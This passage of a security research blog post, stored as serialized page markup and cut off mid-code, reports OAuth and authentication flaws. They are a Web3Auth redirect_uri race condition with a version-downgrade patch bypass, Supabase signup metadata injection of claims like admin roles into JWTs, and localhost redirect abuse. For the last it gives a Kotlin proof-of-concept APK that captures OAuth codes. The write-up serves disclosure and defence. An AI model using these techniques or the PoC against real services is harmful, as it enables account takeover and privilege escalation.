Condition",{"type":26,"tag":35,"props":69387,"children":69388},{},[69389,69391,69396,69398,69404,69406,69411,69413,69418],{"type":32,"value":69390},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":26,"tag":53,"props":69392,"children":69394},{"className":69393},[],[69395],{"type":32,"value":69303},{"type":32,"value":69397}," and later used in the ",{"type":26,"tag":53,"props":69399,"children":69401},{"className":69400},[],[69402],{"type":32,"value":69403},"/end",{"type":32,"value":69405}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after validation (",{"type":26,"tag":53,"props":69407,"children":69409},{"className":69408},[],[69410],{"type":32,"value":69303},{"type":32,"value":69412},") but before use (",{"type":26,"tag":53,"props":69414,"children":69416},{"className":69415},[],[69417],{"type":32,"value":69403},{"type":32,"value":20450},{"type":26,"tag":35,"props":69420,"children":69421},{},[69422,69424,69431,69433,69438],{"type":32,"value":69423},"To exploit this ",{"type":26,"tag":116,"props":69425,"children":69428},{"href":69426,"rel":69427},"https://portswigger.net/web-security/race-conditions",[120],[69429],{"type":32,"value":69430},"race condition",{"type":32,"value":69432},", an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":26,"tag":53,"props":69434,"children":69436},{"className":69435},[],[69437],{"type":32,"value":69348},{"type":32,"value":69439}," but with modified malicious parameters.",{"type":26,"tag":35,"props":69441,"children":69442},{},[69443],{"type":26,"tag":105,"props":69444,"children":69445},{},[69446],{"type":32,"value":69447},"What can be modified to achieve something impactful?",{"type":26,"tag":35,"props":69449,"children":69450},{},[69451,69453,69458,69460,69465],{"type":32,"value":69452},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":26,"tag":53,"props":69454,"children":69456},{"className":69455},[],[69457],{"type":32,"value":66},{"type":32,"value":69459}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":26,"tag":53,"props":69461,"children":69463},{"className":69462},[],[69464],{"type":32,"value":207},{"type":32,"value":353},{"type":26,"tag":35,"props":69467,"children":69468},{},[69469],{"type":26,"tag":132,"props":69470,"children":69472},{"alt":134,"src":69471},"/posts/web2-in-web3/image-3.png",[],{"type":26,"tag":35,"props":69474,"children":69475},{},[69476],{"type":32,"value":69477},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":26,"tag":41,"props":69479,"children":69481},{"id":69480},"patch-bypass",[69482],{"type":32,"value":69483},"Patch & Bypass",{"type":26,"tag":35,"props":69485,"children":69486},{},[69487],{"type":32,"value":69488},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":26,"tag":35,"props":69490,"children":69491},{},[69492],{"type":32,"value":69493},"To bypass the fix we were able to change the version in the URL:",{"type":26,"tag":82,"props":69495,"children":69496},{},[69497,69508],{"type":26,"tag":86,"props":69498,"children":69499},{},[69500,69506],{"type":26,"tag":53,"props":69501,"children":69503},{"className":69502},[],[69504],{"type":32,"value":69505},"https://auth.web3auth.io/v8/start",{"type":32,"value":69507}," (latest version)",{"type":26,"tag":86,"props":69509,"children":69510},{},[69511,69517],{"type":26,"tag":53,"props":69512,"children":69514},{"className":69513},[],[69515],{"type":32,"value":69516},"https://auth.web3auth.io/v6/start",{"type":32,"value":69518}," (bypass)",{"type":26,"tag":35,"props":69520,"children":69521},{},[69522],{"type":32,"value":69523},"We reported this issue, and it was addressed just as quickly!",{"type":26,"tag":27,"props":69525,"children":69527},{"id":69526},"supabase-metadata-manipulation",[69528],{"type":32,"value":69529},"Supabase metadata manipulation",{"type":26,"tag":41,"props":69531,"children":69533},{"id":69532},"supabase-authentication-flow",[69534],{"type":32,"value":69535},"Supabase Authentication flow",{"type":26,"tag":35,"props":69537,"children":69538},{},[69539,69546,69548,69555],{"type":26,"tag":116,"props":69540,"children":69543},{"href":69541,"rel":69542},"https://supabase.com/docs/guides/auth",[120],[69544],{"type":32,"value":69545},"Supabase",{"type":32,"value":69547}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":26,"tag":116,"props":69549,"children":69552},{"href":69550,"rel":69551},"https://jwt.io/",[120],[69553],{"type":32,"value":69554},"JWT",{"type":32,"value":69556}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":26,"tag":41,"props":69558,"children":69560},{"id":69559},"jwt-verification",[69561],{"type":32,"value":69562},"JWT verification",{"type":26,"tag":35,"props":69564,"children":69565},{},[69566,69568,69573,69574,69580,69582,69588],{"type":32,"value":69567},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":26,"tag":53,"props":69569,"children":69571},{"className":69570},[],[69572],{"type":32,"value":69217},{"type":32,"value":209},{"type":26,"tag":53,"props":69575,"children":69577},{"className":69576},[],[69578],{"type":32,"value":69579},"identity_data",{"type":32,"value":69581},", in a signup request by manipulating the input inside the ",{"type":26,"tag":53,"props":69583,"children":69585},{"className":69584},[],[69586],{"type":32,"value":69587},"\"data\": {}",{"type":32,"value":69589}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":26,"tag":35,"props":69591,"children":69592},{},[69593,69595,69601,69602,69608,69610,69616],{"type":32,"value":69594},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":26,"tag":53,"props":69596,"children":69598},{"className":69597},[],[69599],{"type":32,"value":69600},"\"role\": \"admin\"",{"type":32,"value":455},{"type":26,"tag":53,"props":69603,"children":69605},{"className":69604},[],[69606],{"type":32,"value":69607},"\"email_verified\": true",{"type":32,"value":69609},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":26,"tag":53,"props":69611,"children":69613},{"className":69612},[],[69614],{"type":32,"value":69615},"\"test\": \"test\"",{"type":32,"value":69617},", enabling us to inject arbitrary data into the final JWT token.",{"type":26,"tag":35,"props":69619,"children":69620},{},[69621],{"type":26,"tag":132,"props":69622,"children":69624},{"alt":134,"src":69623},"/posts/web2-in-web3/image-4.png",[],{"type":26,"tag":35,"props":69626,"children":69627},{},[69628],{"type":32,"value":69629},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":26,"tag":35,"props":69631,"children":69632},{},[69633],{"type":32,"value":69634},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":26,"tag":465,"props":69636,"children":69638},{"className":2332,"code":69637,"language":2334,"meta":7,"style":7},"function parseSupaBase(token) {\n try {\n const [header, payload, signature] = token.split('.');\n const decodedHeader = JSON.parse(atob(header));\n const decodedPayload = JSON.parse(atob(payload));\n return { header: decodedHeader, payload: decodedPayload, signature };\n } catch (error) {\n console.error('Error parsing token:', error);\n return null;\n }\n}\n",[69639],{"type":26,"tag":53,"props":69640,"children":69641},{"__ignoreMap":7},[69642,69667,69679,69748,69797,69845,69890,69913,69950,69966,69973],{"type":26,"tag":475,"props":69643,"children":69644},{"class":477,"line":478},[69645,69649,69654,69658,69663],{"type":26,"tag":475,"props":69646,"children":69647},{"style":482},[69648],{"type":32,"value":31077},{"type":26,"tag":475,"props":69650,"children":69651},{"style":493},[69652],{"type":32,"value":69653}," parseSupaBase",{"type":26,"tag":475,"props":69655,"children":69656},{"style":499},[69657],{"type":32,"value":626},{"type":26,"tag":475,"props":69659,"children":69660},{"style":2375},[69661],{"type":32,"value":69662},"token",{"type":26,"tag":475,"props":69664,"children":69665},{"style":499},[69666],{"type":32,"value":676},{"type":26,"tag":475,"props":69668,"children":69669},{"class":477,"line":516},[69670,69675],{"type":26,"tag":475,"props":69671,"children":69672},{"style":586},[69673],{"type":32,"value":69674}," try",{"type":26,"tag":475,"props":69676,"children":69677},{"style":499},[69678],{"type":32,"value":579},{"type":26,"tag":475,"props":69680,"children":69681},{"class":477,"line":539},[69682,69686,69690,69695,69699,69704,69708,69713,69717,69721,69726,69730,69735,69739,69744],{"type":26,"tag":475,"props":69683,"children":69684},{"style":482},[69685],{"type":32,"value":32600},{"type":26,"tag":475,"props":69687,"children":69688},{"style":499},[69689],{"type":32,"value":22741},{"type":26,"tag":475,"props":69691,"children":69692},{"style":2375},[69693],{"type":32,"value":69694},"header",{"type":26,"tag":475,"props":69696,"children":69697},{"style":499},[69698],{"type":32,"value":637},{"type":26,"tag":475,"props":69700,"children":69701},{"style":2375},[69702],{"type":32,"value":69703},"payload",{"type":26,"tag":475,"props":69705,"children":69706},{"style":499},[69707],{"type":32,"value":637},{"type":26,"tag":475,"props":69709,"children":69710},{"style":2375},[69711],{"type":32,"value":69712},"signature",{"type":26,"tag":475,"props":69714,"children":69715},{"style":499},[69716],{"type":32,"value":1699},{"type":26,"tag":475,"props":69718,"children":69719},{"style":714},[69720],{"type":32,"value":786},{"type":26,"tag":475,"props":69722,"children":69723},{"style":2375},[69724],{"type":32,"value":69725}," token",{"type":26,"tag":475,"props":69727,"children":69728},{"style":499},[69729],{"type":32,"value":353},{"type":26,"tag":475,"props":69731,"children":69732},{"style":493},[69733],{"type":32,"value":69734},"split",{"type":26,"tag":475,"props":69736,"children":69737},{"style":499},[69738],{"type":32,"value":626},{"type":26,"tag":475,"props":69740,"children":69741},{"style":629},[69742],{"type":32,"value":69743},"'.'",{"type":26,"tag":475,"props":69745,"children":69746},{"style":499},[69747],{"type":32,"value":3533},{"type":26,"tag":475,"props":69749,"children":69750},{"class":477,"line":548},[69751,69755,69760,69764,69768,69772,69776,69780,69785,69789,69793],{"type":26,"tag":475,"props":69752,"children":69753},{"style":482},[69754],{"type":32,"value":32600},{"type":26,"tag":475,"props":69756,"children":69757},{"style":2375},[69758],{"type":32,"value":69759}," decodedHeader",{"type":26,"tag":475,"props":69761,"children":69762},{"style":714},[69763],{"type":32,"value":2383},{"type":26,"tag":475,"props":69765,"children":69766},{"style":2375},[69767],{"type":32,"value":37222},{"type":26,"tag":475,"props":69769,"children":69770},{"style":499},[69771],{"type":32,"value":353},{"type":26,"tag":475,"props":69773,"children":69774},{"style":493},[69775],{"type":32,"value":823},{"type":26,"tag":475,"props":69777,"children":69778},{"style":499},[69779],{"type":32,"value":626},{"type":26,"tag":475,"props":69781,"children":69782},{"style":493},[69783],{"type":32,"value":69784},"atob",{"type":26,"tag":475,"props":69786,"children":69787},{"style":499},[69788],{"type":32,"value":626},{"type":26,"tag":475,"props":69790,"children":69791},{"style":2375},[69792],{"type":32,"value":69694},{"type":26,"tag":475,"props":69794,"children":69795},{"style":499},[69796],{"type":32,"value":6936},{"type":26,"tag":475,"props":69798,"children":69799},{"class":477,"line":558},[69800,69804,69809,69813,69817,69821,69825,69829,69833,69837,69841],{"type":26,"tag":475,"props":69801,"children":69802},{"style":482},[69803],{"type":32,"value":32600},{"type":26,"tag":475,"props":69805,"children":69806},{"style":2375},[69807],{"type":32,"value":69808}," decodedPayload",{"type":26,"tag":475,"props":69810,"children":69811},{"style":714},[69812],{"type":32,"value":2383},{"type":26,"tag":475,"props":69814,"children":69815},{"style":2375},[69816],{"type":32,"value":37222},{"type":26,"tag":475,"props":69818,"children":69819},{"style":499},[69820],{"type":32,"value":353},{"type":26,"tag":475,"props":69822,"children":69823},{"style":493},[69824],{"type":32,"value":823},{"type":26,"tag":475,"props":69826,"children":69827},{"style":499},[69828],{"type":32,"value":626},{"type":26,"tag":475,"props":69830,"children":69831},{"style":493},[69832],{"type":32,"value":69784},{"type":26,"tag":475,"props":69834,"children":69835},{"style":499},[69836],{"type":32,"value":626},{"type":26,"tag":475,"props":69838,"children":69839},{"style":2375},[69840],{"type":32,"value":69703},{"type":26,"tag":475,"props":69842,"children":69843},{"style":499},[69844],{"type":32,"value":6936},{"type":26,"tag":475,"props":69846,"children":69847},{"class":477,"line":582},[69848,69852,69856,69861,69865,69869,69874,69878,69882,69886],{"type":26,"tag":475,"props":69849,"children":69850},{"style":586},[69851],{"type":32,"value":15449},{"type":26,"tag":475,"props":69853,"children":69854},{"style":499},[69855],{"type":32,"value":1101},{"type":26,"tag":475,"props":69857,"children":69858},{"style":2375},[69859],{"type":32,"value":69860},"header:",{"type":26,"tag":475,"props":69862,"children":69863},{"style":2375},[69864],{"type":32,"value":69759},{"type":26,"tag":475,"props":69866,"children":69867},{"style":499},[69868],{"type":32,"value":637},{"type":26,"tag":475,"props":69870,"children":69871},{"style":2375},[69872],{"type":32,"value":69873},"payload:",{"type":26,"tag":475,"props":69875,"children":69876},{"style":2375},[69877],{"type":32,"value":69808},{"type":26,"tag":475,"props":69879,"children":69880},{"style":499},[69881],{"type":32,"value":637},{"type":26,"tag":475,"props":69883,"children":69884},{"style":2375},[69885],{"type":32,"value":69712},{"type":26,"tag":475,"props":69887,"children":69888},{"style":499},[69889],{"type":32,"value":18007},{"type":26,"tag":475,"props":69891,"children":69892},{"class":477,"line":596},[69893,69897,69901,69905,69909],{"type":26,"tag":475,"props":69894,"children":69895},{"style":499},[69896],{"type":32,"value":15484},{"type":26,"tag":475,"props":69898,"children":69899},{"style":586},[69900],{"type":32,"value":661},{"type":26,"tag":475,"props":69902,"children":69903},{"style":499},[69904],{"type":32,"value":2775},{"type":26,"tag":475,"props":69906,"children":69907},{"style":2375},[69908],{"type":32,"value":14569},{"type":26,"tag":475,"props":69910,"children":69911},{"style":499},[69912],{"type":32,"value":676},{"type":26,"tag":475,"props":69914,"children":69915},{"class":477,"line":610},[69916,69921,69925,69929,69933,69938,69942,69946],{"type":26,"tag":475,"props":69917,"children":69918},{"style":2375},[69919],{"type":32,"value":69920}," console",{"type":26,"tag":475,"props":69922,"children":69923},{"style":499},[69924],{"type":32,"value":353},{"type":26,"tag":475,"props":69926,"children":69927},{"style":493},[69928],{"type":32,"value":14569},{"type":26,"tag":475,"props":69930,"children":69931},{"style":499},[69932],{"type":32,"value":626},{"type":26,"tag":475,"props":69934,"children":69935},{"style":629},[69936],{"type":32,"value":69937},"'Error parsing token:'",{"type":26,"tag":475,"props":69939,"children":69940},{"style":499},[69941],{"type":32,"value":637},{"type":26,"tag":475,"props":69943,"children":69944},{"style":2375},[69945],{"type":32,"value":14569},{"type":26,"tag":475,"props":69947,"children":69948},{"style":499},[69949],{"type":32,"value":3533},{"type":26,"tag":475,"props":69951,"children":69952},{"class":477,"line":650},[69953,69957,69962],{"type":26,"tag":475,"props":69954,"children":69955},{"style":586},[69956],{"type":32,"value":15449},{"type":26,"tag":475,"props":69958,"children":69959},{"style":482},[69960],{"type":32,"value":69961}," null",{"type":26,"tag":475,"props":69963,"children":69964},{"style":499},[69965],{"type":32,"value":2729},{"type":26,"tag":475,"props":69967,"children":69968},{"class":477,"line":679},[69969],{"type":26,"tag":475,"props":69970,"children":69971},{"style":499},[69972],{"type":32,"value":851},{"type":26,"tag":475,"props":69974,"children":69975},{"class":477,"line":735},[69976],{"type":26,"tag":475,"props":69977,"children":69978},{"style":499},[69979],{"type":32,"value":3607},{"type":26,"tag":41,"props":69981,"children":69982},{"id":2510},[69983],{"type":32,"value":2513},{"type":26,"tag":35,"props":69985,"children":69986},{},[69987,69989,69996,69998,70004],{"type":32,"value":69988},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":26,"tag":116,"props":69990,"children":69993},{"href":69991,"rel":69992},"https://supabase.com/docs/guides/database/postgres/row-level-security",[120],[69994],{"type":32,"value":69995},"Row-Level Security",{"type":32,"value":69997}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":26,"tag":53,"props":69999,"children":70001},{"className":70000},[],[70002],{"type":32,"value":70003},"app_metadata",{"type":32,"value":70005},". These fields must be strictly validated at every step of their creation and update processes.",{"type":26,"tag":27,"props":70007,"children":70009},{"id":70008},"oauth-in-development-environments",[70010],{"type":32,"value":70011},"OAuth in development environments",{"type":26,"tag":35,"props":70013,"children":70014},{},[70015,70017,70024,70026,70031],{"type":32,"value":70016},"After watching a ",{"type":26,"tag":116,"props":70018,"children":70021},{"href":70019,"rel":70020},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[120],[70022],{"type":32,"value":70023},"talk",{"type":32,"value":70025}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":26,"tag":53,"props":70027,"children":70029},{"className":70028},[],[70030],{"type":32,"value":66},{"type":32,"value":70032}," parameter during the OAuth flow.",{"type":26,"tag":35,"props":70034,"children":70035},{},[70036,70038,70045],{"type":32,"value":70037},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":26,"tag":116,"props":70039,"children":70042},{"href":70040,"rel":70041},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[120],[70043],{"type":32,"value":70044},"Remote Code Execution",{"type":32,"value":70046}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":26,"tag":35,"props":70048,"children":70049},{},[70050,70052,70058],{"type":32,"value":70051},"In one of our client's implementations, we identified that ",{"type":26,"tag":53,"props":70053,"children":70055},{"className":70054},[],[70056],{"type":32,"value":70057},"localhost:3000",{"type":32,"value":70059}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":26,"tag":35,"props":70061,"children":70062},{},[70063],{"type":32,"value":70064},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":26,"tag":465,"props":70066,"children":70070},{"className":70067,"code":70068,"language":70069,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[70071],{"type":26,"tag":53,"props":70072,"children":70073},{"__ignoreMap":7},[70074],{"type":26,"tag":475,"props":70075,"children":70076},{"class":477,"line":478},[70077],{"type":26,"tag":475,"props":70078,"children":70079},{},[70080],{"type":32,"value":70068},{"type":26,"tag":35,"props":70082,"children":70083},{},[70084],{"type":32,"value":70085},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":26,"tag":465,"props":70087,"children":70091},{"className":70088,"code":70089,"language":70090,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.search;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n}\n","kotlin",[70092],{"type":26,"tag":53,"props":70093,"children":70094},{"__ignoreMap":7},[70095,70122,70129,70156,70175,70182,70189,70208,70219,70230,70261,70284,70331,70338,70345,70352,70359,70379,70410,70421,70428,70435,70454,70477,70488,70507,70522,70533,70556,70591,70610,70617,70628,70651,70662,70674,70681,70688,70695,70702,70709,70736,70743],{"type":26,"tag":475,"props":70096,"children":70097},{"class":477,"line":478},[70098,70103,70108,70113,70118],{"type":26,"tag":475,"props":70099,"children":70100},{"style":482},[70101],{"type":32,"value":70102},"class",{"type":26,"tag":475,"props":70104,"children":70105},{"style":505},[70106],{"type":32,"value":70107}," MainActivity",{"type":26,"tag":475,"props":70109,"children":70110},{"style":499},[70111],{"type":32,"value":70112}," : ",{"type":26,"tag":475,"props":70114,"children":70115},{"style":505},[70116],{"type":32,"value":70117},"AppCompatActivity",{"type":26,"tag":475,"props":70119,"children":70120},{"style":499},[70121],{"type":32,"value":882},{"type":26,"tag":475,"props":70123,"children":70124},{"class":477,"line":516},[70125],{"type":26,"tag":475,"props":70126,"children":70127},{"emptyLinePlaceholder":18},[70128],{"type":32,"value":545},{"type":26,"tag":475,"props":70130,"children":70131},{"class":477,"line":539},[70132,70136,70140,70144,70148,70152],{"type":26,"tag":475,"props":70133,"children":70134},{"style":482},[70135],{"type":32,"value":1259},{"type":26,"tag":475,"props":70137,"children":70138},{"style":482},[70139],{"type":32,"value":490},{"type":26,"tag":475,"props":70141,"children":70142},{"style":493},[70143],{"type":32,"value":496},{"type":26,"tag":475,"props":70145,"children":70146},{"style":499},[70147],{"type":32,"value":502},{"type":26,"tag":475,"props":70149,"children":70150},{"style":505},[70151],{"type":32,"value":508},{"type":26,"tag":475,"props":70153,"children":70154},{"style":499},[70155],{"type":32,"value":1280},{"type":26,"tag":475,"props":70157,"children":70158},{"class":477,"line":548},[70159,70163,70167,70171],{"type":26,"tag":475,"props":70160,"children":70161},{"style":482},[70162],{"type":32,"value":522},{"type":26,"tag":475,"props":70164,"children":70165},{"style":499},[70166],{"type":32,"value":353},{"type":26,"tag":475,"props":70168,"children":70169},{"style":493},[70170],{"type":32,"value":531},{"type":26,"tag":475,"props":70172,"children":70173},{"style":499},[70174],{"type":32,"value":536},{"type":26,"tag":475,"props":70176,"children":70177},{"class":477,"line":558},[70178],{"type":26,"tag":475,"props":70179,"children":70180},{"emptyLinePlaceholder":18},[70181],{"type":32,"value":545},{"type":26,"tag":475,"props":70183,"children":70184},{"class":477,"line":582},[70185],{"type":26,"tag":475,"props":70186,"children":70187},{"style":552},[70188],{"type":32,"value":555},{"type":26,"tag":475,"props":70190,"children":70191},{"class":477,"line":596},[70192,70196,70200,70204],{"type":26,"tag":475,"props":70193,"children":70194},{"style":493},[70195],{"type":32,"value":564},{"type":26,"tag":475,"props":70197,"children":70198},{"style":499},[70199],{"type":32,"value":569},{"type":26,"tag":475,"props":70201,"children":70202},{"style":493},[70203],{"type":32,"value":574},{"type":26,"tag":475,"props":70205,"children":70206},{"style":499},[70207],{"type":32,"value":579},{"type":26,"tag":475,"props":70209,"children":70210},{"class":477,"line":610},[70211,70215],{"type":26,"tag":475,"props":70212,"children":70213},{"style":586},[70214],{"type":32,"value":589},{"type":26,"tag":475,"props":70216,"children":70217},{"style":499},[70218],{"type":32,"value":579},{"type":26,"tag":475,"props":70220,"children":70221},{"class":477,"line":650},[70222,70226],{"type":26,"tag":475,"props":70223,"children":70224},{"style":493},[70225],{"type":32,"value":602},{"type":26,"tag":475,"props":70227,"children":70228},{"style":499},[70229],{"type":32,"value":607},{"type":26,"tag":475,"props":70231,"children":70232},{"class":477,"line":679},[70233,70237,70241,70245,70249,70253,70257],{"type":26,"tag":475,"props":70234,"children":70235},{"style":499},[70236],{"type":32,"value":616},{"type":26,"tag":475,"props":70238,"children":70239},{"style":493},[70240],{"type":32,"value":621},{"type":26,"tag":475,"props":70242,"children":70243},{"style":499},[70244],{"type":32,"value":626},{"type":26,"tag":475,"props":70246,"children":70247},{"style":629},[70248],{"type":32,"value":632},{"type":26,"tag":475,"props":70250,"children":70251},{"style":499},[70252],{"type":32,"value":637},{"type":26,"tag":475,"props":70254,"children":70255},{"style":629},[70256],{"type":32,"value":642},{"type":26,"tag":475,"props":70258,"children":70259},{"style":499},[70260],{"type":32,"value":647},{"type":26,"tag":475,"props":70262,"children":70263},{"class":477,"line":735},[70264,70268,70272,70276,70280],{"type":26,"tag":475,"props":70265,"children":70266},{"style":499},[70267],{"type":32,"value":656},{"type":26,"tag":475,"props":70269,"children":70270},{"style":482},[70271],{"type":32,"value":661},{"type":26,"tag":475,"props":70273,"children":70274},{"style":499},[70275],{"type":32,"value":666},{"type":26,"tag":475,"props":70277,"children":70278},{"style":505},[70279],{"type":32,"value":671},{"type":26,"tag":475,"props":70281,"children":70282},{"style":499},[70283],{"type":32,"value":676},{"type":26,"tag":475,"props":70285,"children":70286},{"class":477,"line":744},[70287,70291,70295,70299,70303,70307,70311,70315,70319,70323,70327],{"type":26,"tag":475,"props":70288,"children":70289},{"style":499},[70290],{"type":32,"value":616},{"type":26,"tag":475,"props":70292,"children":70293},{"style":493},[70294],{"type":32,"value":689},{"type":26,"tag":475,"props":70296,"children":70297},{"style":499},[70298],{"type":32,"value":626},{"type":26,"tag":475,"props":70300,"children":70301},{"style":629},[70302],{"type":32,"value":632},{"type":26,"tag":475,"props":70304,"children":70305},{"style":499},[70306],{"type":32,"value":637},{"type":26,"tag":475,"props":70308,"children":70309},{"style":629},[70310],{"type":32,"value":706},{"type":26,"tag":475,"props":70312,"children":70313},{"style":482},[70314],{"type":32,"value":711},{"type":26,"tag":475,"props":70316,"children":70317},{"style":714},[70318],{"type":32,"value":717},{"type":26,"tag":475,"props":70320,"children":70321},{"style":482},[70322],{"type":32,"value":722},{"type":26,"tag":475,"props":70324,"children":70325},{"style":629},[70326],{"type":32,"value":727},{"type":26,"tag":475,"props":70328,"children":70329},{"style":499},[70330],{"type":32,"value":732},{"type":26,"tag":475,"props":70332,"children":70333},{"class":477,"line":753},[70334],{"type":26,"tag":475,"props":70335,"children":70336},{"style":499},[70337],{"type":32,"value":741},{"type":26,"tag":475,"props":70339,"children":70340},{"class":477,"line":761},[70341],{"type":26,"tag":475,"props":70342,"children":70343},{"style":499},[70344],{"type":32,"value":750},{"type":26,"tag":475,"props":70346,"children":70347},{"class":477,"line":770},[70348],{"type":26,"tag":475,"props":70349,"children":70350},{"emptyLinePlaceholder":18},[70351],{"type":32,"value":545},{"type":26,"tag":475,"props":70353,"children":70354},{"class":477,"line":794},[70355],{"type":26,"tag":475,"props":70356,"children":70357},{"style":552},[70358],{"type":32,"value":767},{"type":26,"tag":475,"props":70360,"children":70361},{"class":477,"line":831},[70362,70366,70370,70374],{"type":26,"tag":475,"props":70363,"children":70364},{"style":482},[70365],{"type":32,"value":776},{"type":26,"tag":475,"props":70367,"children":70368},{"style":499},[70369],{"type":32,"value":781},{"type":26,"tag":475,"props":70371,"children":70372},{"style":714},[70373],{"type":32,"value":786},{"type":26,"tag":475,"props":70375,"children":70376},{"style":629},[70377],{"type":32,"value":70378}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":26,"tag":475,"props":70380,"children":70381},{"class":477,"line":845},[70382,70386,70390,70394,70398,70402,70406],{"type":26,"tag":475,"props":70383,"children":70384},{"style":482},[70385],{"type":32,"value":776},{"type":26,"tag":475,"props":70387,"children":70388},{"style":499},[70389],{"type":32,"value":804},{"type":26,"tag":475,"props":70391,"children":70392},{"style":714},[70393],{"type":32,"value":786},{"type":26,"tag":475,"props":70395,"children":70396},{"style":493},[70397],{"type":32,"value":813},{"type":26,"tag":475,"props":70399,"children":70400},{"style":499},[70401],{"type":32,"value":818},{"type":26,"tag":475,"props":70403,"children":70404},{"style":493},[70405],{"type":32,"value":823},{"type":26,"tag":475,"props":70407,"children":70408},{"style":499},[70409],{"type":32,"value":828},{"type":26,"tag":475,"props":70411,"children":70412},{"class":477,"line":854},[70413,70417],{"type":26,"tag":475,"props":70414,"children":70415},{"style":493},[70416],{"type":32,"value":837},{"type":26,"tag":475,"props":70418,"children":70419},{"style":499},[70420],{"type":32,"value":842},{"type":26,"tag":475,"props":70422,"children":70423},{"class":477,"line":862},[70424],{"type":26,"tag":475,"props":70425,"children":70426},{"style":499},[70427],{"type":32,"value":851},{"type":26,"tag":475,"props":70429,"children":70430},{"class":477,"line":885},[70431],{"type":26,"tag":475,"props":70432,"children":70433},{"emptyLinePlaceholder":18},[70434],{"type":32,"value":545},{"type":26,"tag":475,"props":70436,"children":70437},{"class":477,"line":913},[70438,70442,70446,70450],{"type":26,"tag":475,"props":70439,"children":70440},{"style":482},[70441],{"type":32,"value":868},{"type":26,"tag":475,"props":70443,"children":70444},{"style":482},[70445],{"type":32,"value":490},{"type":26,"tag":475,"props":70447,"children":70448},